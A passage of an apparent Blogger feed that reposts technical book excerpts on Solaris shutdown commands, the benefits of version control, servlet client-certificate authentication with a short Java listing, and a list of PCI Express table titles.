class="sect4-title"&gt;Powering Down&lt;/h4&gt;&lt;br /&gt;&lt;p class="first-para"&gt;The &lt;span class="fixed"&gt;poweroff&lt;/span&gt; command is used to rapidly shut down the system, and switch off power (like switching to run level 5), without cycling through any intermediate run levels, and executing the kill scripts specified for those run levels. This ensures that a very fast shutdown can be achieved when emergency situations dictate that the system cannot remain live, even with the risk of data loss. For example, if a system is under a denial of service attack and the decision is made to pull the plug on the service, the &lt;span class="fixed"&gt;halt&lt;/span&gt; command will do so much faster than &lt;span class="fixed"&gt;init&lt;/span&gt; or &lt;span class="fixed"&gt;shutdown&lt;/span&gt;. The CPU is halted as quickly as possible, no matter what the run level.&lt;/p&gt;&lt;br /&gt;&lt;p class="last-para"&gt;The &lt;span class="fixed"&gt;poweroff&lt;/span&gt; command has several options: the &lt;span class="fixed"&gt;-l&lt;/span&gt; flag can be used to prevent the recording of the system halt in the system log, which it normally attempts before halting the CPU, while the &lt;span class="fixed"&gt;-n&lt;/span&gt; option prevents the refreshing of the superblock, which is performed by default to prevent damage to mounted file systems. The most extreme option is &lt;span class="fixed"&gt;-q&lt;/span&gt;, which does not attempt any kind of fancy actions before shutting down.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h4 class="sect4-title"&gt;Halting the System&lt;/h4&gt;&lt;br /&gt;&lt;p class="first-para"&gt;The &lt;span class="fixed"&gt;halt&lt;/span&gt; command is used to rapidly shut down the system, to the OpenBoot PROM monitor, without cycling through any intermediate run levels, and executing the kill scripts specified for those run levels. This ensures that a very fast shutdown can be achieved when emergency situations dictate that the system cannot remain live, even with the risk of data loss. For example, if a system is under a denial of service attack, and the decision is made to pull the plug on the service, &lt;span class="fixed"&gt;halt&lt;/span&gt; will do so much faster than &lt;span class="fixed"&gt;init&lt;/span&gt; or &lt;span class="fixed"&gt;shutdown&lt;/span&gt;. The CPU is halted as quickly as possible, no matter what the run level.&lt;/p&gt;&lt;br /&gt;&lt;p class="last-para"&gt;The &lt;span class="fixed"&gt;halt&lt;/span&gt; command has several options: the &lt;span class="fixed"&gt;-l&lt;/span&gt; flag can be used to prevent the recording of the system halt in the system log, which it normally attempts before halting the CPU, while the &lt;span class="fixed"&gt;-n&lt;/span&gt; option prevents the refreshing of the superblock, which is performed by default to prevent damage to mounted file systems. The most extreme option is &lt;span class="fixed"&gt;-q&lt;/span&gt;, which does not attempt any kind of fancy actions before halting.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;TABLE BORDER="0" CELLSPACING="0" CELLPADDING="0" WIDTH="100%"&gt;&lt;br /&gt;&lt;TR&gt;&lt;TD COLSPAN="3" HEIGHT="10"&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;TABLE BORDER="0" WIDTH="98%" CELLSPACING="0" CELLPADDING="0" ALIGN="CENTER"&gt;&lt;TR&gt;&lt;TD&gt;�&lt;/TD&gt;&lt;/TR&gt;&lt;TR&gt;&lt;TD&gt;�&lt;/TD&gt;&lt;TD&gt;�&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/article&gt;&lt;br /&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-3486355594705861219?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/3486355594705861219/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/system-startup.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/3486355594705861219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/3486355594705861219'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/system-startup.html' title='System Startup'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-7441892527039361415</id><published>2009-11-13T07:50:00.015-08:00</published><updated>2009-11-13T07:50:12.930-08:00</updated><title type='text'>Section 1.2.&amp;nbsp; Why Use It?</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;H3 class="docSection1Title"&gt;1.2. Why Use It?&lt;/H3&gt;&lt;br /&gt;&lt;p class="docText"&gt;You know what version control is; why do you need it? Especially for a small team project, what benefit does a good version control system provide that outweighs the cost of setting up and learning how to use it? Let's look at some of the reasons why version control is critical in any development project, small or large.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 class="docSection2Title"&gt;1.2.1. Data Integrity&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;A good version control system helps to protect the integrity of your data. By keeping a revision history, there is no worry that if code is removed in an edit on one day, it will be lost when it is determined a week later to have in fact been necessary.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;Having a central project repository can also help with data backup. If developers regularly commit their data to the versioning system, it can be backed up nightly in one chunk and offloaded to backup storage, with few worries that weeks worth of unfinished data will be sitting on a developer's desktop, waiting for the inevitable hard drive failure.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 class="docSection2Title"&gt;1.2.2. Productivity&lt;/H4&gt;&lt;br /&gt;&lt;p class="docText"&gt;By freeing developers from the drudgery of by-hand integration of work, a version control system can greatly increase productivity. As projects grow larger than one or two people, even the most well organized of processes will lose countless man hours toward integrating the work of multiple developers. With a version control system, developers are able to test changes against the latest work of their peers, identifying and fixing conflicts before they become unmanageable. They are also able to experiment more easily, free to branch and modify code without worrying about whether their changes will affect the stability of the main project or the work of others. If an experimental change breaks something, it can quickly and easily be rolled back or compared with the original code to see what changed.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;A version control system also protects against productivity lost to re-implemented work, not only by avoiding losses of data that was incorrectly deemed to be unnecessary, but also by making each developer's work readily available to other developers on the project. If developers are able to easily see where the others working on the project are going with their work, they will be less likely to duplicate effort. Even in a well-organized project, it can be easy for two developers working on closely related sections to accidentally implement the same piece of functionality. If all developers regularly commit their work to a repository, this becomes much less likely to happen.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt;1.2.3. Accountability&lt;/H4&gt;&lt;br /&gt;&lt;p class="docText"&gt;In any development process, it is important to know exactly who added each bit of code to a project, as well as when they did it, and who has made modifications since then. This sort of fine-grained accountability is important not only for technical reasons (for example, who to go to if a section needs to be fixed), but also for purposes of legal defense. In recent times, there have been a number of high profile cases, involving both open source and closed source projects, that have hinged around allegations of source code being illegitimately placed into other projects. In light of the potential liability that the maintainers of a project could have in these sorts of cases, having a version control system that makes each contributer accountable for his own contributions seems to be a prudent precaution to take, especially if you are maintaining an open source project, where little may be known about the contributer, and money to fight a legal battle may be tight or nonexistent.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 class="docSection2Title"&gt;1.2.4. Software Engineering Process Support&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;Good software (even open source projects) are developed with a software engineering process. By software engineering, I mean the application of disciplined development policies aimed at ensuring that the end product of the process will meet the desired goals in a timely manner, and with the highest possible standards of quality.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;A good software engineering process involves a number of different processes and policies, such as good overall project design, peer review of project components, tracking of bugs and other issues, and quality assurance testing. None of these are explicitly supported by most version control systems, but many version control system features (such as hook scripts and logs) can be an important tool in supporting a project's software engineering policies. For example, a version control system (VCS) may be set to automatically e-mail an issue tracking system in order to report a bug fix, or a system could log peer reviews, and through the use of hook scripts, disallow any code that hasn't been peer reviewed to be merged onto the project's main source trunk.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 class="docSection2Title"&gt;1.2.5. Development Branching&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;As projects progress over time, branches will naturally occur. Old releases will need to be supported with bug fixes. New projects may be spun off from existing code bases to serve emerging markets. Whatever the reason, branches will happen, and unless the relationship between branches is carefully maintained, they will tend to diverge irreconcilably. Issues that are fixed in one branch will go unfixed in another. Features implemented in a divergent branch will be unusable in the main trunk. In general, keeping even a semblance of consistency between different branches of development will be a maintenance nightmare.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;If used in an organized and consistent manner, the branching features built into most version control systems can greatly reduce the headaches associated with maintaining divergent branches of development on a project. By using the commit logs generated by the system, as well as its capability to merge changes from one branch to another, changes that are applicable to multiple branches can be cleanly implemented on a single branch and then applied to the other branches. Similarly, a new feature added to a branch can be migrated to other branches where it may be useful.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 class="docSection2Title"&gt;1.2.6. Record Keeping&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;A version control system will help to enforce policies that can ensure a project keeps quality records for later use. In addition to the aforementioned records of who committed each change, repository commit logs are invaluable for storing plain-English descriptions not only of what changes were made in a given commit, but why they were made. In many cases, commit logs can even be verified against certain patterns, to enforce guidelines for logs entries that are in place for the project.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;In addition to providing a record of what has gone into each commit, logs kept by a version control system can be used for a variety of applications. For example, they could be used to create a changelog at a release, or to automatically tie into an issue tracking system.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt;1.2.7. Distribution of Work&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;In our modern Internet age, life is becoming more and more distributed, and nowhere is this more true than in software development. Open source projects are (almost by definition) developed in a distributed nature, by developers all over the world, but even in the closed source corporate world, distributed development can be a major issue. Regardless of whether a developer is telecommuting from across town or an outsourcing firm in India, distributed development can be difficult to deal with.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;Version control can make dealing with distributed development easier, by automating much of the workload of exchanging and merging the work of different developers. As developers work on their projects from remote corners of the globe, the repository makes the latest work of their coworkers readily accessible at any time. Combined with good communication habits, using something like e-mail or instant messaging, distributed development can become almost as painless as being the next cube over.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt;1.2.8. Rapid Development&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;Recent software development methodologies have been moving toward rapid, flexible development, with processes like Extreme Programming (XP) and Agile Development being adopted with increasing frequency. These rapid development methods accentuate policies of small incremental change and frequent refactoring, which cry out for version control. By using good version control practices, a project will maintain extremely useful code histories that delineate the many twists and turns rapidly developed code can take. Additionally, the central repository of a version control system is perfect for automating the frequent systems builds called for by an Agile process.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;UL&gt;&lt;/UL&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-7441892527039361415?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/7441892527039361415/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-12-why-use-it.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7441892527039361415'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7441892527039361415'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-12-why-use-it.html' title='Section 1.2.&amp;amp;nbsp; Why Use It?'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-2154493447957350988</id><published>2009-11-13T07:50:00.013-08:00</published><updated>2009-11-13T07:50:11.335-08:00</updated><title type='text'>Using Client Certificates for Authentication</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;	&lt;br /&gt;	&lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;H3 class="docSection1Title"&gt; Using Client Certificates for Authentication&lt;/H3&gt;&lt;br /&gt;&lt;P class="docText"&gt;There are at least two ways to use client certificates for authentication, but only one is likely to be supported by most servlet engines. The first way to do certification authentication is to set the authentication method in the &lt;TT&gt;&amp;lt;auth-method&amp;gt;&lt;/TT&gt; tag to &lt;TT&gt;CLIENT-CERT&lt;/TT&gt;. If you're using Tomcat, you can use this method; otherwise you may not be able to. Not all servers support this type of authentication.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;After the client has been authenticated, you can access the &lt;TT&gt;java.security.Principal&lt;/TT&gt; object that represents the user by calling &lt;TT&gt;getUserPrincipal&lt;/TT&gt;. If &lt;TT&gt;getUserPrincipal&lt;/TT&gt; returns null, the client isn't authenticated.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;Tomcat must be set up to perform SSL client certificate authorization. Consult the documentation for instructions on how to do this. To enable your Web application to use client certificates, you simply need to create a &lt;TT&gt;web-xml&lt;/TT&gt; that looks like this:&lt;/P&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;web-app&amp;gt;&lt;br /&gt;   &amp;lt;display-name&amp;gt;My CLIENT-CERT Web Application&amp;lt;/display-name&amp;gt;&lt;br /&gt;   &amp;lt;description&amp;gt;An Application that uses CLIENT-CERT for Authentication&amp;lt;/description&amp;gt;&lt;br /&gt;   &amp;lt;login-config&amp;gt;&lt;br /&gt;      &amp;lt;auth-method&amp;gt;CLIENT-CERT&amp;lt;/auth-method&amp;gt;&lt;br /&gt;      &amp;lt;realm-name&amp;gt;Authenticated Users Only Area&amp;lt;/realm-name&amp;gt;&lt;br /&gt;   &amp;lt;/login-config&amp;gt;&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;P class="docText"&gt;If you aren't working with a server that supports &lt;TT&gt;CLIENT-CERT&lt;/TT&gt;, your second option is to not use the normal authentication mechanism and go back to checking authentication manually, as you did in Hour 12. If you use an SSL-enabled servlet engine such as Tomcat, you might be able to access the client's certificate by accessing the &lt;TT&gt;javax.servlet.request.X509Certificate&lt;/TT&gt; attribute in the &lt;TT&gt;request&lt;/TT&gt; object.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;The idea is that you keep a database of valid certificate numbers, and when a user accesses your site, you check the certificate number against the list of valid numbers. If the numbers match, you allow the user in. Because a trusted certificate authority digitally signs the certificates, it is almost impossible to forge a certificate.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;Listing 23.10 shows a segment of code that accesses the client's certificate.&lt;/P&gt;&lt;br /&gt;&lt;H5 class="docExampleTitle"&gt;Listing 23.10 Code to Access a Client Certificate&lt;/H5&gt;&lt;br /&gt;&lt;br /&gt;&lt;PRE&gt;&lt;br /&gt;    X509Certificate cert = (X509Certificate) request.&lt;br /&gt;        GetAttribute("javax.servlet.request.X509Certificate");&lt;br /&gt;&lt;br /&gt;    if (cert != null)&lt;br /&gt;    {&lt;br /&gt;        String serialNumber = cert.getSerialNumber().toString();&lt;br /&gt;        String issuer = cert.getIssuerDN().getName();&lt;br /&gt;&lt;br /&gt;// validate the serialNumber/issuer against a valid list here...&lt;br /&gt;    }&lt;br /&gt;&lt;/PRE&gt;&lt;br /&gt;&lt;P class="docText"&gt;The serial number alone is not necessarily unique. The serial number is required to be unique for only a single certificate authority. For extra safety, you should check both the serial number and the name of the certificate issuer to make sure that you have the correct certificate.&lt;/P&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;td&gt;&lt;/td&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;          &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-2154493447957350988?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/2154493447957350988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/using-client-certificates-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/2154493447957350988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/2154493447957350988'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/using-client-certificates-for.html' title='Using Client Certificates for Authentication'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-8969171466055986335</id><published>2009-11-13T07:50:00.011-08:00</published><updated>2009-11-13T07:50:09.361-08:00</updated><title type='text'>Tables</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;	&lt;br /&gt;	&lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;H2 class="docPrefaceTitle"&gt;Tables&lt;/H2&gt;&lt;BLOCKQUOTE&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;1 PC Architecture Book Series&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;1-1 Bus Specifications and Release Dates&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;1-2 Comparison of Bus Frequency, Bandwidth and Number of Slots&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;1-3 PCI Express Aggregate Throughput for Various Link Widths&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;2-1 PCI Express Non-Posted and Posted Transactions&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;2-2 PCI Express TLP Packet Types&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;2-3 PCI Express Aggregate Throughput for Various Link Widths&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-1 Ordered Set Types&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-2 Data Link Layer Packet (DLLP) Types&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-3 PCI Express Address Space And Transaction Types&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-4 PCI Express Posted and Non-Posted Transactions&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-5 PCI Express TLP Variants And Routing Options&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-6 TLP Header Type and Format Field Encodings&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-7 Message Request Header Type Field Usage&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-8 Results Of Reading The BAR after Writing All "1s" To It&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-9 Results Of Reading The BAR Pair after Writing All "1s" To Both&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-10 Results Of Reading The IO BAR after Writing All "1s" To It&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-11 6 GB, 64-Bit Prefetchable Base/Limit Register Setup&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-12 2MB, 32-Bit Non-Prefetchable Base/Limit Register Setup&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;3-13 256 Byte IO Base/Limit Register Setup&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-1 PCI Express Address Space And Transaction Types&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-2 TLP Header Type Field Defines Transaction Variant&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-3 TLP Header Type Field Defines Transaction Variant&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-4 Generic Header Field Summary&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-5 TLP Header Type and Format Field Encodings&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-6 IO Request Header Fields&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-7 4DW Memory Request Header Fields&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-8 Configuration Request Header Fields&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-9 Completion Header Fields&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-10 Message Request Header Fields&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-11 INTx Interrupt Signaling Message Coding&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-12 Power Management Message Coding&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-13 Error Message Coding&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-14 Unlock Message Coding&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-15 Slot Power Limit Message Coding&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-16 Hot Plug Message Coding&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-17 DLLP Packet Types&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-18 Ack or Nak DLLP Fields&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-19 Power Management DLLP Fields&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-20 Flow Control DLLP Fields&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;4-21 Vendor-Specific DLLP Fields&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;5-1 Ack or Nak DLLP Fields&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;6-1 Example TC to VC Mappings&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;7-1 Required Minimum Flow Control Advertisements&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;8-1 Transactions That Can Be Reordered Due to Relaxed Ordering&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;8-2 Fundamental Ordering Rules Based on Strong Ordering and RO Attribute&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;8-3 Weak Ordering Rules Enhance Performance&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;8-4 Ordering Rules with Deadlock Avoidance Rules&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;9-1 Format and Usage of Message Control Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;9-2 INTx Message Codes&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;10-1 Error Message Codes and Description&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;10-2 Completion Code and Description&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;10-3 Error-Related Command Register Bits&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;10-4 Description of PCI-Compatible Status Register Bits for Reporting Errors&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;10-5 Default Classification of Errors&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;10-6 Transaction Layer Errors That are Logged&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;11-1 5-bit to 6-bit Encode Table for Data Characters&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;11-2 5-bit to 6-bit Encode Table for Control Characters&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;11-3 3-bit to 4-bit Encode Table for Data Characters&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;11-4 3-bit to 4-bit Encode Table for Control Characters&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;11-5 Control Character Encoding and Definition&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;12-1 Output Driver Characteristics&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;12-2 Input Receiver Characteristics&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;14-1 Summary of TS1 and TS2 Ordered-Set 